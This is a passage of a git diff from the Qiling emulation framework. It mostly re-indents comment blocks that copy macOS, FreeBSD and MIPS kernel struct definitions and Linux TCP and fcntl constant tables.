sf_ioctl_func sf_ioctl; -# /* -# * The following are valid only if SFLT_EXTENDED flag is set. -# * Initialize sf_ext_len to sizeof sflt_filter_ext structure. -# * Filters must also initialize reserved fields with zeroes. -# */ -# struct sflt_filter_ext { -# unsigned int sf_ext_len; -# sf_accept_func sf_ext_accept; -# void *sf_ext_rsvd[5]; /* Reserved */ -# } sf_ext; +# sf_notify_func sf_notify; +# sf_getpeername_func sf_getpeername; +# sf_getsockname_func sf_getsockname; +# sf_data_in_func sf_data_in; +# sf_data_out_func sf_data_out; +# sf_connect_in_func sf_connect_in; +# sf_connect_out_func sf_connect_out; +# sf_bind_func sf_bind; +# sf_setoption_func sf_setoption; +# sf_getoption_func sf_getoption; +# sf_listen_func sf_listen; +# sf_ioctl_func sf_ioctl; +# /* +# * The following are valid only if SFLT_EXTENDED flag is set. +# * Initialize sf_ext_len to sizeof sflt_filter_ext structure. +# * Filters must also initialize reserved fields with zeroes. +# */ +# struct sflt_filter_ext { +# unsigned int sf_ext_len; +# sf_accept_func sf_ext_accept; +# void *sf_ext_rsvd[5]; /* Reserved */ +# } sf_ext; # }; class sflt_filter_t(ctypes.Structure): @@ -1017,16 +1017,16 @@ def dump(self): self.ql.log.info("%s: %s" % (field[0], getattr(self, field[0]).decode())) # struct sockaddr_in { -# __uint8_t sin_len; -# sa_family_t sin_family; -# in_port_t sin_port; -# struct in_addr sin_addr; -# char sin_zero[8]; +# __uint8_t sin_len; +# sa_family_t sin_family; +# in_port_t sin_port; +# struct in_addr sin_addr; +# char sin_zero[8]; # }; class sockaddr_in_t(ctypes.Structure): # struct in_addr { -# in_addr_t s_addr; +# in_addr_t s_addr; # }; class in_addr_t(ctypes.Structure): _fields_ = ( @@ -1056,9 +1056,9 @@ def loadFromMem(self): # #define ETHER_ADDR_LEN 6 # typedef struct ether_header { -# u_char ether_dhost[ETHER_ADDR_LEN]; -# u_char ether_shost[ETHER_ADDR_LEN]; -# u_short ether_type; +# u_char ether_dhost[ETHER_ADDR_LEN]; +# u_char ether_shost[ETHER_ADDR_LEN]; +# u_short ether_type; # } ether_header_t; class ether_header_t(ctypes.Structure): _fields_ = ( @@ -1131,22 +1131,22 @@ def dump(self): self.ql.log.info("%s: %s" % (field[0], getattr(self, field[0]).decode())) # struct ucred { -# TAILQ_ENTRY(ucred) cr_link; /* never modify this without KAUTH_CRED_HASH_LOCK */ -# u_long cr_ref; /* reference count */ -# +# TAILQ_ENTRY(ucred) cr_link; /* never modify this without KAUTH_CRED_HASH_LOCK */ +# u_long cr_ref; /* reference count */ +# # struct posix_cred { -# uid_t cr_uid; /* effective user id */ -# uid_t cr_ruid; /* real user id */ -# uid_t cr_svuid; /* saved user id */ -# short cr_ngroups; /* number of groups in advisory list */ -# gid_t cr_groups[NGROUPS]; /* advisory group list */ -# gid_t cr_rgid; /* real group id */ -# gid_t cr_svgid; /* saved group id */ -# uid_t cr_gmuid; /* UID for group membership purposes */ -# int cr_flags; /* flags on credential */ +# uid_t cr_uid; /* effective user id */ +# uid_t cr_ruid; /* real user id */ +# uid_t cr_svuid; /* saved user id */ +# short cr_ngroups; /* number of groups in advisory list */ +# gid_t cr_groups[NGROUPS]; /* advisory group list */ +# gid_t cr_rgid; /* real group id */ +# gid_t cr_svgid; /* saved group id */ +# uid_t cr_gmuid; /* UID for group membership purposes */ +# int cr_flags; /* flags on credential */ # } cr_posix; -# struct label *cr_label; /* MAC label */ -# struct au_session cr_audit; /* user auditing data */ +# struct label *cr_label; /* MAC label */ +# struct au_session cr_audit; /* user auditing data */ # }; class ucred_t(ctypes.Structure): @@ -1195,11 +1195,11 @@ def loadFromMem(self): return newObj # struct label { -# int l_flags; +# int l_flags; # union { -# void *l_ptr; -# long l_long; -# } l_perpolicy[MAC_MAX_SLOTS]; +# void *l_ptr; +# long l_long; +# } l_perpolicy[MAC_MAX_SLOTS]; # }; class label_t(ctypes.Structure): @@ -1228,48 +1228,48 @@ def loadFromMem(self): return newObj # struct vnode { -# lck_mtx_t v_lock; /* vnode mutex */ -# TAILQ_ENTRY(vnode) v_freelist; /* vnode freelist */ -# TAILQ_ENTRY(vnode) v_mntvnodes; /* vnodes for mount point */ -# TAILQ_HEAD(, namecache) v_ncchildren; /* name cache entries that regard us as their parent */ -# LIST_HEAD(, namecache) v_nclinks; /* name cache entries that name this vnode */ -# vnode_t v_defer_reclaimlist; /* in case we have to defer the reclaim to avoid recursion */ -# uint32_t v_listflag; /* flags protected by the vnode_list_lock (see below) */ -# uint32_t v_flag; /* vnode flags (see below) */ -# uint16_t v_lflag; /* vnode local and named ref flags */ -# uint8_t v_iterblkflags; /* buf iterator flags */ -# uint8_t v_references; /* number of times io_count has been granted */ -# int32_t v_kusecount; /* count of in-kernel refs */ -# int32_t v_usecount; /* reference count of users */ -# int32_t v_iocount; /* iocounters */ -# void * v_owner; /* act that owns the vnode */ -# uint16_t v_type; /* vnode type */ -# uint16_t v_tag; /* type of underlying data */ -# uint32_t v_id; /* identity of vnode contents */ -# union { -# struct mount *vu_mountedhere;/* ptr to mounted vfs (VDIR) */ -# struct socket *vu_socket; /* unix ipc (VSOCK) */ -# struct specinfo *vu_specinfo; /* device (VCHR, VBLK) */ -# struct fifoinfo *vu_fifoinfo; /* fifo (VFIFO) */ -# struct ubc_info *vu_ubcinfo; /* valid for (VREG) */ -# } v_un; -# struct buflists v_cleanblkhd; /* clean blocklist head */ -# struct buflists v_dirtyblkhd; /* dirty blocklist head */ -# struct klist v_knotes; /* knotes attached to this vnode */ -# kauth_cred_t v_cred; /* last authorized credential */ -# kauth_action_t v_authorized_actions; /* current authorized actions for v_cred */ -# int v_cred_timestamp; /* determine if entry is stale for MNTK_AUTH_OPAQUE */ -# int v_nc_generation; /* changes when nodes are removed from the name cache */ -# int32_t v_numoutput; /* num of writes in progress */ -# int32_t v_writecount; /* reference count of writers */ -# const char *v_name; /* name component of the vnode */ -# vnode_t v_parent; /* pointer to parent vnode */ -# struct lockf *v_lockf; /* advisory lock list head */ -# int (**v_op)(void *); /* vnode operations vector */ -# mount_t v_mount; /* ptr to vfs we are in */ -# void * v_data; /* private data for fs */ -# struct label *v_label; /* MAC security label */ -# vnode_resolve_t v_resolve; /* trigger vnode resolve info (VDIR only) */ +# lck_mtx_t v_lock; /* vnode mutex */ +# TAILQ_ENTRY(vnode) v_freelist; /* vnode freelist */ +# TAILQ_ENTRY(vnode) v_mntvnodes; /* vnodes for mount point */ +# TAILQ_HEAD(, namecache) v_ncchildren; /* name cache entries that regard us as their parent */ +# LIST_HEAD(, namecache) v_nclinks; /* name cache entries that name this vnode */ +# vnode_t v_defer_reclaimlist; /* in case we have to defer the reclaim to avoid recursion */ +# uint32_t v_listflag; /* flags protected by the vnode_list_lock (see below) */ +# uint32_t v_flag; /* vnode flags (see below) */ +# uint16_t v_lflag; /* vnode local and named ref flags */ +# uint8_t v_iterblkflags; /* buf iterator flags */ +# uint8_t v_references; /* number of times io_count has been granted */ +# int32_t v_kusecount; /* count of in-kernel refs */ +# int32_t v_usecount; /* reference count of users */ +# int32_t v_iocount; /* iocounters */ +# void * v_owner; /* act that owns the vnode */ +# uint16_t v_type; /* vnode type */ +# uint16_t v_tag; /* type of underlying data */ +# uint32_t v_id; /* identity of vnode contents */ +# union { +# struct mount *vu_mountedhere;/* ptr to mounted vfs (VDIR) */ +# struct socket *vu_socket; /* unix ipc (VSOCK) */ +# struct specinfo *vu_specinfo; /* device (VCHR, VBLK) */ +# struct fifoinfo *vu_fifoinfo; /* fifo (VFIFO) */ +# struct ubc_info *vu_ubcinfo; /* valid for (VREG) */ +# } v_un; +# struct buflists v_cleanblkhd; /* clean blocklist head */ +# struct buflists v_dirtyblkhd; /* dirty blocklist head */ +# struct klist v_knotes; /* knotes attached to this vnode */ +# kauth_cred_t v_cred; /* last authorized credential */ +# kauth_action_t v_authorized_actions; /* current authorized actions for v_cred */ +# int v_cred_timestamp; /* determine if entry is stale for MNTK_AUTH_OPAQUE */ +# int v_nc_generation; /* changes when nodes are removed from the name cache */ +# int32_t v_numoutput; /* num of writes in progress */ +# int32_t v_writecount; /* reference count of writers */ +# const char *v_name; /* name component of the vnode */ +# vnode_t v_parent; /* pointer to parent vnode */ +# struct lockf *v_lockf; /* advisory lock list head */ +# int (**v_op)(void *); /* vnode operations vector */ +# mount_t v_mount; /* ptr to vfs we are in */ +# void * v_data; /* private data for fs */ +# struct label *v_label; /* MAC security label */ +# vnode_resolve_t v_resolve; /* trigger vnode resolve info (VDIR only) */ # }; class vnode_t(ctypes.Structure): class tailq_entry(ctypes.Structure): @@ -1352,32 +1352,32 @@ def loadFromMem(self): return newObj # struct fileglob { -# LIST_ENTRY(fileglob) f_msglist;/* list of active files */ -# int32_t fg_flag; /* see fcntl.h */ -# int32_t fg_count; /* reference count */ -# int32_t fg_msgcount; /* references from message queue */ -# int32_t fg_lflags; /* file global flags */ -# kauth_cred_t fg_cred; /* credentials associated with descriptor */ -# const struct fileops { -# file_type_t fo_type; /* descriptor type */ -# int (*fo_read) (struct fileproc *fp, struct uio *uio, -# int flags, vfs_context_t ctx); -# int (*fo_write) (struct fileproc *fp, struct uio *uio, -# int flags, vfs_context_t ctx); -# int (*fo_ioctl) (struct fileproc *fp, u_long com, -# caddr_t data, vfs_context_t ctx); -# int (*fo_select) (struct fileproc *fp, int which, -# void *wql, vfs_context_t ctx); -# int (*fo_close) (struct fileglob *fg, vfs_context_t ctx); -# int (*fo_kqfilter) (struct fileproc *fp, struct knote *kn, -# struct kevent_internal_s *kev, vfs_context_t ctx); -# int (*fo_drain) (struct fileproc *fp, vfs_context_t ctx); -# } *fg_ops; -# off_t fg_offset; -# void *fg_data; /* vnode or socket or SHM or semaphore */ -# void *fg_vn_data; /* Per fd vnode data, used for directories */ -# lck_mtx_t fg_lock; -# struct label *fg_label; /* JMM - use the one in the cred? */ +# LIST_ENTRY(fileglob) f_msglist;/* list of active files */ +# int32_t fg_flag; /* see fcntl.h */ +# int32_t fg_count; /* reference count */ +# int32_t fg_msgcount; /* references from message queue */ +# int32_t fg_lflags; /* file global flags */ +# kauth_cred_t fg_cred; /* credentials associated with descriptor */ +# const struct fileops { +# file_type_t fo_type; /* descriptor type */ +# int (*fo_read) (struct fileproc *fp, struct uio *uio, +# int flags, vfs_context_t ctx); +# int (*fo_write) (struct fileproc *fp, struct uio *uio, +# int flags, vfs_context_t ctx); +# int (*fo_ioctl) (struct fileproc *fp, u_long com, +# caddr_t data, vfs_context_t ctx); +# int (*fo_select) (struct fileproc *fp, int which, +# void *wql, vfs_context_t ctx); +# int (*fo_close) (struct fileglob *fg, vfs_context_t ctx); +# int (*fo_kqfilter) (struct fileproc *fp, struct knote *kn, +# struct kevent_internal_s *kev, vfs_context_t ctx); +# int (*fo_drain) (struct fileproc *fp, vfs_context_t ctx); +# } *fg_ops; +# off_t fg_offset; +# void *fg_data; /* vnode or socket or SHM or semaphore */ +# void *fg_vn_data; /* Per fd vnode data, used for directories */ +# lck_mtx_t fg_lock; +# struct label *fg_label; /* JMM - use the one in the cred? */ # }; class fileglob_t(ctypes.Structure): @@ -1459,11 +1459,11 @@ def loadFromMem(self): return newObj # struct ipf_filter { -# void *cookie; -# const char *name; -# ipf_input_func ipf_input; -# ipf_output_func ipf_output; -# ipf_detach_func ipf_detach; +# void *cookie; +# const char *name; +# ipf_input_func ipf_input; +# ipf_output_func ipf_output; +# ipf_detach_func ipf_detach; # }; class ipf_filter_t(ctypes.Structure): _fields_ = ( diff --git a/qiling/os/macos/mach_port.py b/qiling/os/macos/mach_port.py index ac4dc9886..75790e238 100644 --- a/qiling/os/macos/mach_port.py +++ b/qiling/os/macos/mach_port.py @@ -11,12 +11,12 @@ # define in kernel osfmk/mach/message.h # mach_msg_header_t: -# mach_msg_bits_t msgh_bits; unsigned int -# mach_msg_size_t msgh_size; 4 bytes -# mach_port_t msgh_remote_port; 4 bytes -# mach_port_t msgh_local_port; 4 bytes -# mach_port_name_t msgh_voucher_port; 4 bytes -# mach_msg_id_t msgh_id; 4 bytes +# mach_msg_bits_t msgh_bits; unsigned int +# mach_msg_size_t msgh_size; 4 bytes +# mach_port_t msgh_remote_port; 4 bytes +# mach_port_t msgh_local_port; 4 bytes +# mach_port_name_t msgh_voucher_port; 4 bytes +# mach_msg_id_t msgh_id; 4 bytes class MachMsgHeader(): def __init__(self, ql): @@ -136,13 +136,13 @@ def get_thread_port(self, MachoThread): # XNU define struct : # struct mach_msg_overwrite_trap_args { -# PAD_ARG_(user_addr_t, msg); addr length -# PAD_ARG_(mach_msg_option_t, option); int -# PAD_ARG_(mach_msg_size_t, send_size); unsigned int -# PAD_ARG_(mach_msg_size_t, rcv_size); unsigned int -# PAD_ARG_(mach_port_name_t, rcv_name); unsigned int -# PAD_ARG_(mach_msg_timeout_t, timeout); unsigned int -# PAD_ARG_(mach_msg_priority_t, override); unsigned int -# PAD_ARG_8 -# PAD_ARG_(user_addr_t, rcv_msg); /* Unused on mach_msg_trap */ addr length +# PAD_ARG_(user_addr_t, msg); addr length +# PAD_ARG_(mach_msg_option_t, option); int +# PAD_ARG_(mach_msg_size_t, send_size); unsigned int +# PAD_ARG_(mach_msg_size_t, rcv_size); unsigned int +# PAD_ARG_(mach_port_name_t, rcv_name); unsigned int +# PAD_ARG_(mach_msg_timeout_t, timeout); unsigned int +# PAD_ARG_(mach_msg_priority_t, override); unsigned int +# PAD_ARG_8 +# PAD_ARG_(user_addr_t, rcv_msg); /* Unused on mach_msg_trap */ addr length # }; diff --git a/qiling/os/macos/syscall.py b/qiling/os/macos/syscall.py index 96cc099f6..8e3c720d6 100644 --- a/qiling/os/macos/syscall.py +++ b/qiling/os/macos/syscall.py @@ -263,8 +263,8 @@ def ql_syscall_getattrlist(ql, path, alist, attributeBuffer, bufferSize, options # 0xc2 # struct rlimit { -# rlim_t rlim_cur; /* current (soft) limit */ uint64 -# rlim_t rlim_max; /* maximum value for rlim_cur */ uint64 +# rlim_t rlim_cur; /* current (soft) limit */ uint64 +# rlim_t rlim_max; /* maximum value for rlim_cur */ uint64 # }; def ql_syscall_getrlimit(ql, which, rlp, *args, **kw): ql.log.debug("getrlimit(which:0x%x, rlp:0x%x)" % (which, rlp)) diff --git a/qiling/os/posix/const.py b/qiling/os/posix/const.py index 49aa56cd5..632a95ffa 100644 --- a/qiling/os/posix/const.py +++ b/qiling/os/posix/const.py @@ -111,42 +111,42 @@ # https://github.com/torvalds/linux/blob/master/include/uapi/linux/tcp.h linux_socket_tcp_options = { - "TCP_NODELAY" : 0x1, - "TCP_MAXSEG" : 0x2, - "TCP_CORK" : 0x3, - "TCP_KEEPIDLE" : 0x4, - "TCP_KEEPINTVL" : 0x5, - "TCP_KEEPCNT" : 0x6, - "TCP_SYNCNT" : 0x7, - "TCP_LINGER2" : 0x8, - "TCP_DEFER_ACCEPT" : 0x9, - "TCP_WINDOW_CLAMP" : 0xa, - "TCP_INFO" : 0xb, - "TCP_QUICKACK" : 0xc, - "TCP_CONGESTION" : 0xd, - "TCP_MD5SIG" : 0xe, - "TCP_THIN_LINEAR_TIMEOUTS" : 0x10, - "TCP_THIN_DUPACK" : 0x11, - "TCP_USER_TIMEOUT" : 0x12, - "TCP_REPAIR" : 0x13, - "TCP_REPAIR_QUEUE" : 0x14, - "TCP_QUEUE_SEQ" : 0x15, - "TCP_REPAIR_OPTIONS" : 0x16, - "TCP_FASTOPEN" : 0x17, - "TCP_TIMESTAMP" : 0x18, - "TCP_NOTSENT_LOWAT" : 0x19, - "TCP_CC_INFO" : 0x1a, - "TCP_SAVE_SYN" : 0x1b, - "TCP_SAVED_SYN" : 0x1c, - "TCP_REPAIR_WINDOW" : 0x1d, - "TCP_FASTOPEN_CONNECT" : 0x1e, - "TCP_ULP" : 0x1f, - "TCP_MD5SIG_EXT" : 0x20, - "TCP_FASTOPEN_KEY" : 0x21, - "TCP_FASTOPEN_NO_COOKIE" : 0x22, - "TCP_ZEROCOPY_RECEIVE" : 0x23, - "TCP_INQ" : 0x24, - "TCP_TX_DELAY" : 0x25, + "TCP_NODELAY" : 0x1, + "TCP_MAXSEG" : 0x2, + "TCP_CORK" : 0x3, + "TCP_KEEPIDLE" : 0x4, + "TCP_KEEPINTVL" : 0x5, + "TCP_KEEPCNT" : 0x6, + "TCP_SYNCNT" : 0x7, + "TCP_LINGER2" : 0x8, + "TCP_DEFER_ACCEPT" : 0x9, + "TCP_WINDOW_CLAMP" : 0xa, + "TCP_INFO" : 0xb, + "TCP_QUICKACK" : 0xc, + "TCP_CONGESTION" : 0xd, + "TCP_MD5SIG" : 0xe, + "TCP_THIN_LINEAR_TIMEOUTS" : 0x10, + "TCP_THIN_DUPACK" : 0x11, + "TCP_USER_TIMEOUT" : 0x12, + "TCP_REPAIR" : 0x13, + "TCP_REPAIR_QUEUE" : 0x14, + "TCP_QUEUE_SEQ" : 0x15, + "TCP_REPAIR_OPTIONS" : 0x16, + "TCP_FASTOPEN" : 0x17, + "TCP_TIMESTAMP" : 0x18, + "TCP_NOTSENT_LOWAT" : 0x19, + "TCP_CC_INFO" : 0x1a, + "TCP_SAVE_SYN" : 0x1b, + "TCP_SAVED_SYN" : 0x1c, + "TCP_REPAIR_WINDOW" : 0x1d, + "TCP_FASTOPEN_CONNECT" : 0x1e, + "TCP_ULP" : 0x1f, + "TCP_MD5SIG_EXT" : 0x20, + "TCP_FASTOPEN_KEY" : 0x21, + "TCP_FASTOPEN_NO_COOKIE" : 0x22, + "TCP_ZEROCOPY_RECEIVE" : 0x23, + "TCP_INQ" : 0x24, + "TCP_TX_DELAY" : 0x25, } macos_socket_ip_options = { @@ -723,14 +723,14 @@ class qnx_mmap_flags(Flag): MAP_UNINITIALIZED = MAP_NOINIT # fcntl flags -F_DUPFD = 0 -F_GETFD = 1 -F_SETFD = 2 -F_GETFL = 3 -F_SETFL = 4 -F_GETLK = 5 -F_SETLK = 6 -F_SETLKW = 7 +F_DUPFD = 0 +F_GETFD = 1 +F_SETFD = 2 +F_GETFL = 3 +F_SETFL = 4 +F_GETLK = 5 +F_SETLK = 6 +F_SETLKW = 7 FD_CLOEXEC = 1 diff --git a/qiling/os/posix/posix.py b/qiling/os/posix/posix.py index b67e409fe..a4f88f052 100644 --- a/qiling/os/posix/posix.py +++ b/qiling/os/posix/posix.py @@ -269,14 +269,14 @@ def __get_os_module(osname: str): params = [self.__syscall_cc.getRawParam(i) for i in range(len(param_names))] try: - # if set, fire up the on-enter hook and let it override original args set + # if set, fire up the on-enter hook and let it override original args set if onenter_hook: overrides = onenter_hook(self.ql, *params) if overrides is not None: _, params = overrides - # perform syscall + # perform syscall retval = syscall_hook(self.ql, *params) # if set, fire up the on-exit hook and let it override the return value diff --git a/qiling/os/posix/syscall/ioctl.py b/qiling/os/posix/syscall/ioctl.py index 4b1b988da..d87a8e2fd 100644 --- a/qiling/os/posix/syscall/ioctl.py +++ b/qiling/os/posix/syscall/ioctl.py @@ -61,10 +61,10 @@ def ioctl(_fd: int, _cmd: int, _arg: int): elif _cmd == TIOCGWINSZ: # struct winsize # { - # unsigned short ws_row; /* rows, in characters */ - # unsigned short ws_col; /* columns, in characters */ - # unsigned short ws_xpixel; /* horizontal size, pixels */ - # unsigned short ws_ypixel; /* vertical size, pixels */ + # unsigned short ws_row; /* rows, in characters */ + # unsigned short ws_col; /* columns, in characters */ + # unsigned short ws_xpixel; /* horizontal size, pixels */ + # unsigned short ws_ypixel; /* vertical size, pixels */ # }; return 1000, 360, 1000, 1000 diff --git a/qiling/os/posix/syscall/stat.py b/qiling/os/posix/syscall/stat.py index efc809119..0a6da9e4f 100644 --- a/qiling/os/posix/syscall/stat.py +++ b/qiling/os/posix/syscall/stat.py @@ -17,42 +17,42 @@ # /sys/sys/stat.h # struct stat { -# dev_t st_dev; /* inode's device */ uint64_t -# ino_t st_ino; /* inode's number */ uint64_t -# nlink_t st_nlink; /* number of hard links */ uint64_t -# mode_t st_mode; /* inode protection mode */ uint16_t -# __int16_t st_padding0; int16_t -# uid_t st_uid; /* user ID of the file's owner */ uint32_t -# gid_t st_gid; /* group ID of the file's group */ uint32_t -# __int32_t st_padding1; int32_t -# dev_t st_rdev; /* device type */ uint64_t -# #ifdef __STAT_TIME_T_EXT -# __int32_t st_atim_ext; +# dev_t st_dev; /* inode's device */ uint64_t +# ino_t st_ino; /* inode's number */ uint64_t +# nlink_t st_nlink; /* number of hard links */ uint64_t +# mode_t st_mode; /* inode protection mode */ uint16_t +# __int16_t st_padding0; int16_t +# uid_t st_uid; /* user ID of the file's owner */ uint32_t +# gid_t st_gid; /* group ID of the file's group */ uint32_t +# __int32_t st_padding1; int32_t +# dev_t st_rdev; /* device type */ uint64_t +# #ifdef __STAT_TIME_T_EXT +# __int32_t st_atim_ext; # #endif -# struct timespec st_atim; /* time of last access */ uint64_t * 2 -# #ifdef __STAT_TIME_T_EXT -# __int32_t st_mtim_ext; +# struct timespec st_atim; /* time of last access */ uint64_t * 2 +# #ifdef __STAT_TIME_T_EXT +# __int32_t st_mtim_ext; # #endif -# struct timespec st_mtim; /* time of last data modification */ uint64_t * 2 -# #ifdef __STAT_TIME_T_EXT -# __int32_t st_ctim_ext; +# struct timespec st_mtim; /* time of last data modification */ uint64_t * 2 +# #ifdef __STAT_TIME_T_EXT +# __int32_t st_ctim_ext; # #endif -# struct timespec st_ctim; /* time of last file status change */ uint64_t * 2 -# #ifdef __STAT_TIME_T_EXT -# __int32_t st_btim_ext; +# struct timespec st_ctim; /* time of last file status change */ uint64_t * 2 +# #ifdef __STAT_TIME_T_EXT +# __int32_t st_btim_ext; # #endif -# struct timespec st_birthtim; /* time of file creation */ uint64_t * 2 -# off_t st_size; /* file size, in bytes */ int64_t -# blkcnt_t st_blocks; /* blocks allocated for file */ int64_t -# blksize_t st_blksize; /* optimal blocksize for I/O */ int32_t -# fflags_t st_flags; /* user defined flags for file */ uint32_t -# __uint64_t st_gen; /* file generation number */ uint64_t -# __uint64_t st_spare[10]; uint64_t * 10 +# struct timespec st_birthtim; /* time of file creation */ uint64_t * 2 +# off_t st_size; /* file size, in bytes */ int64_t +# blkcnt_t st_blocks; /* blocks allocated for file */ int64_t +# blksize_t st_blksize; /* optimal blocksize for I/O */ int32_t +# fflags_t st_flags; /* user defined flags for file */ uint32_t +# __uint64_t st_gen; /* file generation number */ uint64_t +# __uint64_t st_spare[10]; uint64_t * 10 # }; # # struct timespec { -# time_t tv_sec; /* seconds */ uint64_t -# long tv_nsec; /* and nanoseconds */ uint64_t (LP64 data model) +# time_t tv_sec; /* seconds */ uint64_t +# long tv_nsec; /* and nanoseconds */ uint64_t (LP64 data model) # }; # # @@ -130,21 +130,21 @@ class FreeBSDX8664Stat(ctypes.Structure): # struct timespec st_birthtimespec; /* time of file creation(birth) */ # # #define __DARWIN_STRUCT_STAT64 { \ -# dev_t st_dev; /* [XSI] ID of device containing file */ \ int32_t -# mode_t st_mode; /* [XSI] Mode of file (see below) */ \ uint16_t -# nlink_t st_nlink; /* [XSI] Number of hard links */ \ uint16_t -# __darwin_ino64_t st_ino; /* [XSI] File serial number */ \ uint64_t -# uid_t st_uid; /* [XSI] User ID of the file */ \ uint32_t -# gid_t st_gid; /* [XSI] Group ID of the file */ \ uint32_t -# dev_t st_rdev; /* [XSI] Device ID */ \ int32_t -# __DARWIN_STRUCT_STAT64_TIMES \ uint64_t (long) * 8 -# off_t st_size; /* [XSI] file size, in bytes */ \ int64_t -# blkcnt_t st_blocks; /* [XSI] blocks allocated for file */ \ int64_t -# blksize_t st_blksize; /* [XSI] optimal blocksize for I/O */ \ int32_t -# __uint32_t st_flags; /* user defined flags for file */ \ uint32_t -# __uint32_t st_gen; /* file generation number */ \ uint32_t -# __int32_t st_lspare; /* RESERVED: DO NOT USE! */ \ int32_t -# __int64_t st_qspare[2]; /* RESERVED: DO NOT USE! */ \ int64_t * 2 +# dev_t st_dev; /* [XSI] ID of device containing file */ \ int32_t +# mode_t st_mode; /* [XSI] Mode of file (see below) */ \ uint16_t +# nlink_t st_nlink; /* [XSI] Number of hard links */ \ uint16_t +# __darwin_ino64_t st_ino; /* [XSI] File serial number */ \ uint64_t +# uid_t st_uid; /* [XSI] User ID of the file */ \ uint32_t +# gid_t st_gid; /* [XSI] Group ID of the file */ \ uint32_t +# dev_t st_rdev; /* [XSI] Device ID */ \ int32_t +# __DARWIN_STRUCT_STAT64_TIMES \ uint64_t (long) * 8 +# off_t st_size; /* [XSI] file size, in bytes */ \ int64_t +# blkcnt_t st_blocks; /* [XSI] blocks allocated for file */ \ int64_t +# blksize_t st_blksize; /* [XSI] optimal blocksize for I/O */ \ int32_t +# __uint32_t st_flags; /* user defined flags for file */ \ uint32_t +# __uint32_t st_gen; /* file generation number */ \ uint32_t +# __int32_t st_lspare; /* RESERVED: DO NOT USE! */ \ int32_t +# __int64_t st_qspare[2]; /* RESERVED: DO NOT USE! */ \ int64_t * 2 # } # /* # * [XSI] This structure is used as the second parameter to the fstat(), @@ -188,84 +188,84 @@ class MacOSStat(ctypes.Structure): # # #if (_MIPS_SIM == _MIPS_SIM_ABI32) || (_MIPS_SIM == _MIPS_SIM_NABI32) # struct stat { -# unsigned st_dev; uint32_t -# long st_pad1[3]; /* Reserved for network id */ int32_t -# ino_t st_ino; uint32_t (unsinged long) -# mode_t st_mode; uint32_t (unsinged int) -# __u32 st_nlink; uint32_t -# uid_t st_uid; uint32_t (unsigned int) -# gid_t st_gid; uint32_t (unsigned int) -# unsigned st_rdev; uint32_t -# long st_pad2[2]; uint32_t * 2 -# long st_size; uint32_t -# long st_pad3; uint32_t -# /* -# * Actually this should be timestruc_t st_atime, st_mtime and st_ctime -# * but we don't have it under Linux. -# */ -# long st_atime; uint32_t -# long st_atime_nsec; uint32_t -# long st_mtime; uint32_t -# long st_mtime_nsec; uint32_t -# long st_ctime; uint32_t -# long st_ctime_nsec; uint32_t -# long st_blksize; uint32_t -# long st_blocks; uint32_t -# long st_pad4[14]; uint32_t * 4 +# unsigned st_dev; uint32_t +# long st_pad1[3]; /* Reserved for network id */ int32_t +# ino_t st_ino; uint32_t (unsinged long) +# mode_t st_mode; uint32_t (unsinged int) +# __u32 st_nlink; uint32_t +# uid_t st_uid; uint32_t (unsigned int) +# gid_t st_gid; uint32_t (unsigned int) +# unsigned st_rdev; uint32_t +# long st_pad2[2]; uint32_t * 2 +# long st_size; uint32_t +# long st_pad3; uint32_t +# /* +# * Actually this should be timestruc_t st_atime, st_mtime and st_ctime +# * but we don't have it under Linux. +# */ +# long st_atime; uint32_t +# long st_atime_nsec; uint32_t +# long st_mtime; uint32_t +# long st_mtime_nsec; uint32_t +# long st_ctime; uint32_t +# long st_ctime_nsec; uint32_t +# long st_blksize; uint32_t +# long st_blocks; uint32_t +# long st_pad4[14]; uint32_t * 4 # }; # # struct stat64 { -# unsigned long st_dev; uint32_t -# unsigned long st_pad0[3]; /* Reserved for st_dev expansion */ uint32_t * 3 -# unsigned long long st_ino; uint64_t -# mode_t st_mode; uint32_t -# __u32 st_nlink; uint32_t -# uid_t st_uid; uint32_t -# gid_t st_gid; uint32_t -# unsigned long st_rdev; uint32_t -# unsigned long st_pad1[3]; /* Reserved for st_rdev expansion */ uint32_t * 3 -# long long st_size; uint64_t -# /* -# * Actually this should be timestruc_t st_atime, st_mtime and st_ctime -# * but we don't have it under Linux. -# */ -# long st_atime; int32_t -# unsigned long st_atime_nsec; /* Reserved for st_atime expansion */ uint32_t -# long st_mtime; int32_t -# unsigned long st_mtime_nsec; /* Reserved for st_mtime expansion */ uint32_t -# long st_ctime; int32_t -# unsigned long st_ctime_nsec; /* Reserved for st_ctime expansion */ uint32_t -# unsigned long st_blksize; uint32_t -# unsigned long st_pad2; uint32_t -# long long st_blocks; int64_t +# unsigned long st_dev; uint32_t +# unsigned long st_pad0[3]; /* Reserved for st_dev expansion */ uint32_t * 3 +# unsigned long long st_ino; uint64_t +# mode_t st_mode; uint32_t +# __u32 st_nlink; uint32_t +# uid_t st_uid; uint32_t +# gid_t st_gid; uint32_t +# unsigned long st_rdev; uint32_t +# unsigned long st_pad1[3]; /* Reserved for st_rdev expansion */ uint32_t * 3 +# long long st_size; uint64_t +# /* +# * Actually this should be timestruc_t st_atime, st_mtime and st_ctime +# * but we don't have it under Linux. +# */ +# long st_atime; int32_t +# unsigned long st_atime_nsec; /* Reserved for st_atime expansion */ uint32_t +# long st_mtime; int32_t +# unsigned long st_mtime_nsec; /* Reserved for st_mtime expansion */ uint32_t +# long st_ctime; int32_t +# unsigned long st_ctime_nsec; /* Reserved for st_ctime expansion */ uint32_t +# unsigned long st_blksize; uint32_t +# unsigned long st_pad2; uint32_t +# long long st_blocks; int64_t # }; # #endif /* _MIPS_SIM == _MIPS_SIM_ABI32 */ # #if _MIPS_SIM == _MIPS_SIM_ABI64 # /* The memory layout is the same as of struct stat64 of the 32-bit kernel. */ # struct stat { -# unsigned int st_dev; uint32_t -# unsigned int st_pad0[3]; /* Reserved for st_dev expansion */ uint32_t * 3 -# unsigned long st_ino; uint64_t -# mode_t st_mode; uint32_t -# __u32 st_nlink; uint32_t -# uid_t st_uid; uint32_t -# gid_t st_gid; uint32_t -# unsigned int st_rdev; uint32_t -# unsigned int st_pad1[3]; /* Reserved for st_rdev expansion */ uint32_t * 3 -# long st_size; uint64_t -# /* -# * Actually this should be timestruc_t st_atime, st_mtime and st_ctime -# * but we don't have it under Linux. -# */ -# unsigned int st_atime; uint32_t -# unsigned int st_atime_nsec; uint32_t -# unsigned int st_mtime; uint32_t -# unsigned int st_mtime_nsec; uint32_t -# unsigned int st_ctime; uint32_t -# unsigned int st_ctime_nsec; uint32_t -# unsigned int st_blksize; uint32_t -# unsigned int st_pad2; uint32_t -# unsigned long st_blocks; uint64_t 